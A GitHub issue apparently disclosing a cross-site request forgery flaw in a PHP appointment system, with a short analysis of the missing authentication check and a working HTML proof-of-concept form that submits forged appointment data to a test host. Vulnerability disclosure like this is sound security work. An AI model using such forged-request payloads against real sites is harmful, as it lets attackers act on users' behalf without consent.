Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF vulnerability #2

Closed
huclilu opened this issue Nov 15, 2022 · 0 comments
Closed

CSRF vulnerability #2

huclilu opened this issue Nov 15, 2022 · 0 comments

Comments

@huclilu
Copy link

huclilu commented Nov 15, 2022

Build environment: Aapche2.4.39; MySQL5.7.26; PHP7.3.4

1.Vulnerability analysis

On the page appointment. php, the input information is submitted to the appointment connect. php through the POST request. The follow-up code is displayed in the appointment connect PHP page, the 16th line of code - the 29th line of code, the information entered by the user is assigned to the corresponding variable, and then inserted into the database, and the program judges if mysqli_ If the query is executed successfully, the data is successfully inserted into the database.
The user login status is not verified, so CSRF vulnerability is caused

POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://vulhms.test/appointmentconnect.php" method="POST">
      <input type="hidden" name="Patient&#95;Name" value="ace" />
      <input type="hidden" name="Doctor&#95;Name" value="ace" />
      <input type="hidden" name="Department" value="ace" />
      <input type="hidden" name="App&#95;Date" value="2022-11-15" />
      <input type="hidden" name="App&#95;Time" value="00:00:00.000000" />
      <input type="hidden" name="Phone" value="ace" />
      <input type="hidden" name="save" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The POC clicks Send, and then a piece of information about the user's ace will be added to the database

In the docker list interface, we can also see that a new West Sydney user named ace has been added

@huclilu huclilu closed this as completed Nov 16, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant